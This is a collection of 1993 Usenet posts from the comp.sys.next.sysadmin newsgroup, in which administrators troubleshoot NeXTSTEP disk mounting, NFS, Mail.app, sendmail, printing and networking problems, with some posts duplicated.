Newsgroups: comp.sys.next.sysadmin From: bvrotney@ADS.COM (Bill Vrotney) Subject: Scan SCSI device after boot Message-ID: <1993Apr20.231231.5359@ads.com> Sender: usenet@ads.com (USENET News) Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300 Date: Tue, 20 Apr 1993 23:12:31 GMT What is the easiest way to have a NeXTstation recognize a SCSI device that is turned on AFTER the system is booted? Ie. it recognizes the device when the system is booted but if the device is turned off when system is booted it does not know about the device, and thus the problem is how to make it recognize the device AFTER the system has already been running. -- Bill Vrotney BAH/Advanced Decision Systems
From: rhoadse@prism.CS.ORST.EDU (E. Robert Rhoads) Newsgroups: comp.sys.next.sysadmin Subject: NeXT CD-ROM drive and a PC Message-ID: <1r33i1INN5e4@flop.ENGR.ORST.EDU> Date: 21 Apr 93 09:18:57 GMT Article-I.D.: flop.1r33i1INN5e4 Distribution: world Organization: CS Dept, Oregon State University Has anyone tried connecting the NeXT CD-ROM drive to a PC? Would it work if one were to get an Adaptec SCSI card? I've heard that the NeXT CD-ROM drive is made by Sony, but does anyone know the model and compatibility? What I was thinking of doing was taking a 386 PC slap an Adaptec SCSI card into it and load BSDI's BSD/386 via the NeXT (SCSI) CD-ROM drive. This sounds good, but I don't know if it will work in practice. Robert Rhoads rhoadse@prism.cs.orst.edu NeXTmail appreciated!
Newsgroups: comp.sys.next.sysadmin From: mckelvey@fafnir.com (James W. McKelvey) Subject: Re: Hard Disk Ruination Imminent? Message-ID: <C5tJnD.Dq6@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA References: <1993Apr20.030245.29502@splunge.uucp> Date: Wed, 21 Apr 1993 05:38:01 GMT In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce Howland) writes: > andrew@stone.com (Andrew Stone) writes: > > >I've got one machine on our net which is so close to my bed that I feel > >obliged to shut it off at night, else I code in my sleep. > > >The trouble is, each time I power up, it fsck's, even though I power down > >clean. Any guesses as to what this means? > > We have several machines on our net that do this, also. And I just > saw an Epson Progression with NS Intel PR1 doing the same thing. I > don't know why it's happening, but my theory is that it has something > to do with NFS. In any event, it seems unlikely that all of ours are > hard disks about to take that final spin-down. > > That's not to say that your disk isn't really dying. :~) > -- This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to administer at work. The stations almost NEVER reboot cleanly; the cubes almost ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all rebooted cleanly. Who knows why??? -- The gentle journey jars to stop. The drifting dream is done. The long gone goblins loom ahead; the deadly, that we thought were dead, stand waiting, every one. -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Workspace dying consistently...help.. Message-ID: <OLEG.93Apr21013401@gd.cs.CSUFresno.EDU> From: oleg@gd.cs.CSUFresno.EDU (Oleg Kibirev) Date: 21 Apr 93 01:34:01 References: <1993Apr20.141059.66518@cc.usu.edu> Organization: Computer Science Departement of California State University inFresno In-reply-to: slv0y@cc.usu.edu's message of 20 Apr 93 14:10:59 MDT In article <1993Apr20.141059.66518@cc.usu.edu> slv0y@cc.usu.edu writes: I am experiencing some strange WorkSpace errors. I can't see anything obvious as to why I am getting them so if anyone can shed some light on this I would appreciate it. I am exporting a directory ServerApps to the root domain and its mount point is /Net. If in the workspace while logged in as root on a client machine and I try to open this folder, workspace dies and loggs me out. I can access that directory via the shell just fine and everything looks o.k., and I can access that directory from a user account, and on the server under root. All of the files in the directory are just normal apps, calculator, safetynet, etc. and none of them have any strange file characteristics, ownerships, etc. that I can see. So whats the problem? Is this a known bug in 3.0...if so, how do I get around it? Its really not that big of a problem except I want to link the applications in the server apps directory into each machines local apps as root. Am I going about this all wrong? I have to have a local apps and a server or shared apps because I have several programs with single licenses that have to be installed on just one machine. NextStep has problems with NFS. If you are root, system expects you to be able to access any file, regardless of permissions. Of course, it's not always so with NFS. As a result, if you try to access a file unreadable for user "nobody" as root, you get "I/O error". Moreover, failure to access this file is cached, so after this you won't be able to access it even as owner. Workspace is probably confused with unusual error. You may want to give clients NFS root permission on this directory or just make sure that all files in it are world readable. Oleg
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: olson@locke.mcs.anl.gov (Bob Olson) Subject: PhoneKit and National ISDN-1 Message-ID: <7353930503017@locke.mcs.anl.gov> Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Chicago, Illinois Date: Wed, 21 Apr 1993 11:50:50 GMT Has anyone used the PhoneKit with a switch that uses the National ISDN-1 protocol? The Kit supports only AT&T and Northern Telecom switches; I was curious whether anyone has hacked upon it to make it work with other switches. --bob
Newsgroups: comp.sys.next.sysadmin From: jon@afs.com Subject: Attaching NeXTStation to ethernet Message-ID: <1993Apr21.134233.920@afs.com> Sender: jon@afs.com Date: Wed, 21 Apr 1993 13:42:33 GMT My school has two lonely NeXTstation which, after almost two years, have yet to be attached to the internet. This school year, they finally got some cable to them, but they have not been set up to use the network yet. When booting, they say they cannot find the name server, and boot up without a network connection. There is no netinfo server. These are the only two NeXT's on campus. What exactly would I have to do to get them on the net? My guess is that I will have to edit hostconfig, giving the machines a hostname and/or address. Am I on the right track? Life would be so much easier if I could ftp onto a NeXT, rather than a Macintosh.
From: marcos@kaleida.com (Paul Marcos) Newsgroups: comp.sys.next.sysadmin Subject: Problem with AppleTalk printers Date: 21 Apr 1993 16:22:31 GMT Organization: Kaleida Labs, Inc. Distribution: world Message-ID: <1r3sc7INN38s@golden.kaleida.com> Hi, recently I've been having a hell of a time getting my NeXTstation to print to our AppleTalk printers. So I have a couple questions: 1. If I get the error "Printer offline or unavailable", is there a way that I can manually turn it back online? DL says that you shouldn't start npd or lpd by hand but rather restart the machine. Is this true or is there a safe way to do it? 2. Has anybody successfully exported a printer to a NeXTSTEP/Intel machine? We tried once and the NSI machine said that it couldn't connect to printer daemon. Any ideas? 3. Along the same lines as number 1, if the Appletalk support seems to die, is there a safe way of restarting it by hand or is it again reboot time? Thanks for any help. Paul ................................................................... Paul Marcos NeXTMail encouraged! Kaleida Labs, Inc. marcos@kaleida.com
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Exceedingly slow user logins Message-ID: <1993Apr21.190809.11444@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 21 Apr 1993 19:08:09 GMT One machine on our net has become VERY slow to complete the workspace initialization. (20 minutes+) Logins from other machines are fast. One can su to the user with dispatch. The user doesn't start any apps from his dock. All nfs servers are present and happy. Netinfo works both locally and for the network. There's 40 megs free space on the swap disk. The machine is a turbo with 32 MB memory running NS 2.2 The problem started when I upgraded from 8 mb to 32 mb. as near as I can recontstruct from asking users about it. This problem does not affect the other turbo upgraded the same day; but that one runs 3.0, and is colour Other curiosities. Starting a copy of Edit in /LocalApps takes 40 seconds. (/LocalApps is nfs mounted) Starting it from /NextApps (on the local disk...) takes 3 seconds. On other machines in our net the time to start either copy is indisguishable. All machines have 12 biod's running. All machines have the same set of servers mounted (3 NextStep, 1 sun, 1 stardent) Ideas? I'm stumped In the list below jpd is the user. This was taken 5 minutes after he logged in. This was after a recent reboot. loki# !! | sort +1n ps aux | sort +1n USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S < 0:00 <mach-task> root 0 0.0 4.0 14.2M 1.27M ? R N 15:27 (kernel idle) root 1 0.0 0.8 1.31M 256K ? S 0:00 /usr/etc/init -xx root 2 0.0 0.9 1.34M 280K co S 0:00 /etc/mach_init -xx root 3 0.0 1.8 2.39M 600K ? S 0:00 /usr/etc/kern_loader -n root 54 0.0 0.9 1.24M 280K ? S 0:00 /usr/etc/syslogd root 60 0.0 1.5 6.37M 488K ? S N 0:00 /usr/etc/nmserver root 64 0.0 0.8 1.23M 248K ? S 0:00 /usr/etc/portmap root 67 0.0 0.9 1.25M 288K ? S 0:00 /usr/etc/nibindd root 68 0.0 1.3 1.29M 416K ? S 0:01 /usr/etc/netinfod local root 72 0.0 0.8 1.23M 248K ? S 0:00 /usr/etc/ypbind root 75 0.0 1.4 1.33M 456K ? S 0:01 /usr/etc/lookupd root 79 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 80 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 81 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 82 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 83 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 84 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 85 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 86 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 87 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 88 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 89 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 90 0.0 0.4 1.31M 144K ? S 0:00 /usr/etc/biod 12 root 100 0.0 0.9 1.24M 304K ? S 0:00 /usr/etc/inetd root 104 0.0 1.0 1.29M 320K ? S 0:00 /usr/lib/lpd root 109 0.0 1.2 1.31M 384K ? S 0:00 /usr/etc/pbs root 111 0.0 0.8 1.41M 248K ? S N 0:00 /usr/etc/autodiskmount root 114 0.0 1.7 3.23M 552K ? S 0:00 /usr/lib/NextPrinter/npd root 124 0.0 0.8 1.25M 256K ? S N 0:00 /u/arafel/adm/bin/adim -b0 root 134 0.0 1.1 1.34M 376K ? S 0:00 /usr/lib/sendmail -bd -q1h root 141 0.0 0.5 1.31M 152K ? S 0:00 update root 144 0.0 0.8 1.31M 248K ? S 0:00 cron jpd 149 0.0 6.0 19.0M 1.92M ? S 0:02 - console (WindowServer) root 150 0.0 3.5 2.80M 1.12M ? S 0:00 - console (loginwindow) jpd 152 0.0 5.5 4.47M 1.76M ? S 0:04 /usr/lib/NextStep/Workspace jpd 154 0.0 0.7 1.25M 224K p0 S 0:00 Console Daemon root 155 0.0 1.0 1.33M 312K ? S 0:00 rlogind root 156 0.0 1.2 1.34M 384K p1 S 0:00 -csh (csh) root 173 0.0 1.8 1.66M 584K p1 R 0:00 ps aux -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Hard Disk Ruination Imminent? Message-ID: <C5uKDy.44I@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <C5tJnD.Dq6@fafnir.com> Date: Wed, 21 Apr 1993 18:51:32 GMT James W. McKelvey writes -> In article <1993Apr20.030245.29502@splunge.uucp> royce@splunge.uucp (Royce -> Howland) writes: -> > andrew@stone.com (Andrew Stone) writes: -> > -> > >I've got one machine on our net which is so close to my bed that I feel -> > >obliged to shut it off at night, else I code in my sleep. -> > -> > >The trouble is, each time I power up, it fsck's, even though I power down -> > >clean. Any guesses as to what this means? -> > -> > We have several machines on our net that do this, also. And I just -> > saw an Epson Progression with NS Intel PR1 doing the same thing. I -> > don't know why it's happening, but my theory is that it has something -> > to do with NFS. In any event, it seems unlikely that all of ours are -> > hard disks about to take that final spin-down. -> > -> > That's not to say that your disk isn't really dying. :~) -> This is a 3.0 "feature" I have reported to NeXT. I have ten NeXT's to -> administer at work. The stations almost NEVER reboot cleanly; the cubes almost -> ALWAYS reboot cleanly, as does the lone Turbo station. Under 2.1, they all -> rebooted cleanly. Who knows why??? Typically this is a sign that something is not umounting before the systems ends...this could be a local disk, and NFS mounted (or likely automounted) partition, etc...check for mounts of slow servers or onto slow nets, that may not let the thing umount before it gives up and shuts down anyways.... -- John Soward \ 'Across yonder oceans the natives are fierce University of Kentucky \ Their ears are filled and their teeth are pierced' soward@inslab.uky.edu \ -- The Church, Priest=Aura
Newsgroups: comp.sys.next.sysadmin From: bav@bergen.siodata.no (Bjorn Asle Valde) Subject: Fetching mail with mail.app Message-ID: <1993Apr21.192950.29154@alf.uib.no> Keywords: mail Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway Date: Wed, 21 Apr 93 19:29:50 GMT I recently changed my mail-drop directory from on-local-disk to an nfs-mounted directory. mail is received locally ok, I can send out-going mail and the permissions/ownership on the files in /usr/spool/mail seems ok. I can read my mail with elm/mail/whatever, but Mail.app doesn't realize that new mail has arrived. Doing "Get new mail" changes nothing. Does anyone of you gurus know what's going on? -- Bjorn Asle Valde - SiO Data Bergen, Christiesgt.13, N-5015 Bergen, Norway. Email: valde@bergen.siodata.no Phones: +47-5-320240 Fax: +47-5-320238
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: taluskie@utpapa.ph.utexas.edu (Vince Taluskie) Subject: sendmail: bus error ?! Message-ID: <1993Apr21.222732.21280@chpc.utexas.edu> Sender: root@chpc.utexas.edu (Convex UNIX) Organization: Physics Department, University of Texas at Austin Date: Wed, 21 Apr 93 22:27:32 GMT Hi, I'm not too familiar with Nexts but I was asked to try to help out a group in our department with a problem they were having with their machine. sendmail isn't starting out of the boot scripts. When I try to start sendmail by hand: /usr/lib/sendmail -bd -q1h I get the message "Bus error" BTW, /usr/lib/sendmail.cf is a symbolic link to sendmail.subsidiary.cf . Any idea what I can do about this, please email if you have any advice you can offer. Thanks in Advance, Vince Taluskie -- Vince Taluskie UNIX Systems Administration Physics Computer Group taluskie@utpapa.ph.utexas.edu The University of Texas at Austin
Newsgroups: comp.sys.next.sysadmin From: lorinr@altsys.com (Lorin Rivers III) Subject: Weird mount prob Message-ID: <1993Apr21.204551.16780@altsys.com> Organization: Altsys Corporation, Richardson, TX Date: Wed, 21 Apr 1993 20:45:51 GMT I have a problem with a mounted external disk that's connected to a Sparc10 running Solaris 2.1. I'm running NS 3.x Here's the deal: The disk is called disk on the Sun, it's /disk. The Sun is called sun. In NetInfoManager I have the mount set up as sun:/disk and the mount point is /disk. Everything's fine UNTIL in the browser you go 2 levels deep into the /disk hierarchy. What happens then is the next folder you go into is a duplicate of the last directory's contents. Here's sort of what it looks like: /disk/folder1 /folder2 /folder3 so you click on /disk/folder1 to see what's in there /disk/folder1/subfolderA /subfolderB /subfolderC so you click on /disk/folder1/subfolderA to see what's in there /disk/folder1/subfolderA/subfolderA/subfolderA/subfolderA... /subfolderB/subfolderB/subfolderB/subfolderB... /subfolderC/subfolderC/subfolderC/subfolderC... These are all the same directories. I hope this is clear... If I open each directory as a folder, I can get in one more level deep but if I have something deep in I have to open several directories as folders to get to my stuff. Anyone have a suggestion? Thanks in advance! -- Lorin Rivers Lorin_Rivers@altsys.com Altsys Technical Support 214.680.2518 269 W. Renner Parkway NeXT Mail Expected Richardson, Texas 75080 I said it, not my boss
Newsgroups: comp.sys.next.sysadmin From: benk@ie1next.me.umn.edu (Benjamin Koo) Subject: Mysterious loss of harddrive space Message-ID: <C5v6BK.9y2@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Date: Thu, 22 Apr 1993 02:44:39 GMT Hello: My harddrive is being drained by certain process drastically. The disk space left is constantly shrinking/expanding. I checked all the user processes. There is one process that has been running using nroff for 600 minunts. I checked the data file it generates, it is less than 10k. I also checked the /tmp directory. I could not find any temporary files that is being generated. Where can I check to find out the leakage of the HD space?
Newsgroups: comp.sys.next.sysadmin From: hlam@bmerh136.bnr.ca (Hayward Lam) Subject: External disk mounting problem Message-ID: <1993Apr22.040604.449@bmers95.bnr.ca> Sender: usenet@bmers95.bnr.ca Organization: Bell-Northern Research Ltd. Date: Thu, 22 Apr 1993 04:06:04 GMT I have an external drive which I want to mount during boot time. So I following the instruction in Sys Admin book to add a new entry in etc/fstab. /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd3a /Users 4.3 rw,noquota,noauto 0 2 The device name is correct, the /Users exists and is empty. So I reboot my machine. In ROM monitor, it shows that "Checking disks " checks both sd0 and sd3. Everything seems to be fine. However, when I log on as different users, the files' owner on the external disk changes depends on who currently logons. Therefore, no file permissions. I want to eventually move all users to the external disk. Any help or comments are appreciated. Thanks. Hayward -- --------------------------------------------------------- Hayward Lam email:hlam@bnr.ca
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: External disk mounting problem Date: 22 Apr 1993 06:42:55 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1r5epf$p9a@agate.berkeley.edu> References: <1993Apr22.040604.449@bmers95.bnr.ca> Keywords: No noauto In article <1993Apr22.040604.449@bmers95.bnr.ca> hlam@bmerh136.bnr.ca (Hayward Lam) writes: >I have an external drive which I want to mount during >boot time. So I following the instruction in Sys Admin >book to add a new entry in etc/fstab. > >/dev/sd0a / 4.3 rw,noquota,noauto 0 1 >/dev/sd3a /Users 4.3 rw,noquota,noauto 0 2 ^^^^^^^ Documentation is incorrect, and NeXT knows about it. Drop ",noauto" from sd3a mount. This keyword should be used mounting the root partition ONLY, not with other secondary partitions. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: ti6sj@tuhhco.rz.tu-harburg.de (Stefan Just) Newsgroups: comp.sys.next.sysadmin Subject: Re: External disk mounting problem Message-ID: <ti6sj.735466324@tuhhco> Date: 22 Apr 93 08:12:04 GMT References: <1993Apr22.040604.449@bmers95.bnr.ca> Sender: usenet@rztsun.rz.tu-harburg.de hlam@bmerh136.bnr.ca (Hayward Lam) writes: >I have an external drive which I want to mount during >boot time. So I following the instruction in Sys Admin >book to add a new entry in etc/fstab. >/dev/sd0a / 4.3 rw,noquota,noauto 0 1 >/dev/sd3a /Users 4.3 rw,noquota,noauto 0 2 ~~~~~~~ noauto means: do not mount this file system automatically ~~~ if you do not want to mount the fs by hand, remove ",noauto". Stefan Just
From: dpp@athena.com (David Pollak) Newsgroups: comp.sys.next.sysadmin Subject: Re: Fetching mail with mail.app Date: 22 Apr 1993 17:49:21 GMT Organization: Athena Design, Inc. Message-ID: <1r6lr1$1ib@hermes.athena.com> References: <1993Apr21.192950.29154@alf.uib.no> In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn Asle Valde) writes: > > I recently changed my mail-drop directory from on-local-disk > to an nfs-mounted directory. mail is received locally ok, I > can send out-going mail and the permissions/ownership on > the files in /usr/spool/mail seems ok. I can read my mail > with elm/mail/whatever, but Mail.app doesn't realize that > new mail has arrived. Doing "Get new mail" changes nothing. This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world read/write/execute. David
From: dpp@athena.com (David Pollak) Newsgroups: comp.sys.next.sysadmin Subject: Re: Fetching mail with mail.app Date: 22 Apr 1993 17:49:27 GMT Organization: Athena Design, Inc. Message-ID: <1r6lr7$1ic@hermes.athena.com> References: <1993Apr21.192950.29154@alf.uib.no> In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn Asle Valde) writes: > > I recently changed my mail-drop directory from on-local-disk > to an nfs-mounted directory. mail is received locally ok, I > can send out-going mail and the permissions/ownership on > the files in /usr/spool/mail seems ok. I can read my mail > with elm/mail/whatever, but Mail.app doesn't realize that > new mail has arrived. Doing "Get new mail" changes nothing. This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world read/write/execute. David
From: dpp@athena.com (David Pollak) Newsgroups: comp.sys.next.sysadmin Subject: Re: Fetching mail with mail.app Date: 22 Apr 1993 17:49:31 GMT Organization: Athena Design, Inc. Message-ID: <1r6lrb$1id@hermes.athena.com> References: <1993Apr21.192950.29154@alf.uib.no> In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn Asle Valde) writes: > > I recently changed my mail-drop directory from on-local-disk > to an nfs-mounted directory. mail is received locally ok, I > can send out-going mail and the permissions/ownership on > the files in /usr/spool/mail seems ok. I can read my mail > with elm/mail/whatever, but Mail.app doesn't realize that > new mail has arrived. Doing "Get new mail" changes nothing. This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world read/write/execute. David
Newsgroups: comp.sys.next.sysadmin From: eps@shell.portal.com (Eric Schwartz) Subject: Console messages Message-ID: <C5wD8u.9rt@unix.portal.com> Sender: news@unix.portal.com Organization: Portal Communications Company Date: Thu, 22 Apr 1993 18:12:26 GMT Can anyone explain the following messages I've been seeing in my Console window? Software Version 2.1 (Warp6.11) Apr 20 11:50:18 Workspace[195]: ...Ready Apr 20 13:14:34 whyanext mach_init[2]: timed out: msg_send Apr 20 13:14:34 whyanext last message repeated 14 times bot=0 top=62 Apr 20 21:51:53 whyanext mach_init[2]: timed out: msg_send Apr 20 21:51:53 whyanext last message repeated 14 times Apr 20 23:49:26 whyanext mach_init[2]: timed out: msg_send Apr 20 23:49:27 whyanext last message repeated 17 times Apr 21 03:14:50 whyanext mach_init[2]: timed out: msg_send Apr 21 03:14:51 whyanext last message repeated 17 times Apr 21 08:11:25 whyanext mach_init[2]: timed out: msg_send Apr 21 08:11:25 whyanext last message repeated 17 times prop stack overflow prop stack overflow prop stack overflow prop stack overflow Thanks, Eric eric@whyanext.com <-- -- Eric Schwartz eps@shell.portal.com
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:17:38 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6ng2INNfqb@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:17:47 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6ngbINNfqk@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:17:56 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6ngkINNfqs@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:18:15 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6nh7INNfra@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@ M/#%Q;F]M<4E.3F-P0&-L96TN:&%N9&AE;&0N8V]M/B!J;61`8W5B92YH86YD M:&5L9"YC;VT@*$II;2!$92!!<G)A<RD@=W)I=&5S.EP*+BXN7`H^("!%=F5R M>2!.95A4(&EN(&AO=7-E+B`@179E;B!O;F4@=&AA="!I<R!O;B!T:&4@<V%M M92!C86)L92!S96=M96YT(&%S("!<"CX@=&AE(&YO=F5L;"!S97)V97)S+"!S M;R!W92=V92!R=6QE9"!T:&4@8G)I9V4@;W5T+EP*/B!<"CX@1&]E<R!T:&ES M('-O=6YD(&9A;6EL:6%R('1O(&%N>6]N93\@($%N>2!I9&5A<S]<"CX@7`H^ M($II;5P*/B`M+5P*/B!J;61`:&%N9&AE;&0N8V]M7`I<"DD@<V5C;VYD(&%L M;"!T:&%T+B!)('=O=6QD(&QI:V4@<V]M92!N970@:&5L<"!O;B!T:&4@3F5T M5V%R92!T;R!.95A4(&%N9"!.95A4('1O($YE=%=A<F4@8V]M;75N:6-A=&EO M;G,N($1I='1O('1O('1H92!!<'!L951A;&L@8V]M;75N:6-A=&EO;B!A;'-O M+B!)('=A;G0@=&AE;2!A;&P@=&\@=V]R:RP@86YD('1H97D@:G5S="!D;VXG M="%<"E1H86YK<R!F;W(@=&AE(&%T=&5N=&EO;BP@86YD(&AA=F4@82!H87!P M>2!D87DN+BY<"E)U<W1Y($5T:&5R961G95P*<G-E.#$S-4!D97=I92YT86UU '+F5D=0I]"BY< `
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:18:24 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6nhgINNfrm@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netware 3.11/NeXT problem Date: 22 Apr 1993 18:18:44 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r6ni4INNfst@tamsun.tamu.edu> References: <1qnomqINNcp@clem.handheld.com> In article <1qnomqINNcp@clem.handheld.com> jmd@cube.handheld.com (Jim De Arras) writes: .. > Every NeXT in house. Even one that is on the same cable segment as > the novell servers, so we've ruled the brige out. > > Does this sound familiar to anyone? Any ideas? > > Jim > -- > jmd@handheld.com I second all that. I would like some net help on the NetWare to NeXT and NeXT to NetWare communications. Ditto to the AppleTalk communication also. I want them all to work, and they just don't! Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin From: phil@news.uta.edu (Patrick Phillips) Subject: Re: Fetching mail with mail.app Message-ID: <1993Apr22.175412.7807@news.uta.edu> Keywords: mail Organization: University of Texas at Arlington References: <1993Apr21.192950.29154@alf.uib.no> Date: Thu, 22 Apr 1993 17:54:12 GMT In article <1993Apr21.192950.29154@alf.uib.no> Bjorn_Asle.Valde@bergen.siodata.no writes: >the files in /usr/spool/mail seems ok. I can read my mail >with elm/mail/whatever, but Mail.app doesn't realize that >new mail has arrived. Doing "Get new mail" changes nothing. I just discovered this problem yesterday. Trying to tighten-up the security problems reported by cops, I changed the mode of /usr/spool/mail from 777 to 755. This apparently breaks Mail.app's ability to see new mail. To me this is stupid, it should just copy the mail out and zero out the file, but it must need to unlink it for some reason (or something wierd like that). You might try to see if you can get your NFS administrator to change the mode of /usr/spool/mail to see if that fixes the problem. Getting him/her to leave it that way might be another question. In a realted topic, what about the 777 mode of the root directory. I turned this to 755 (or 1755 I think), and so far nothing has broken. What's the reason for this security problem? Patrick Phillips phil@decster.uta.edu
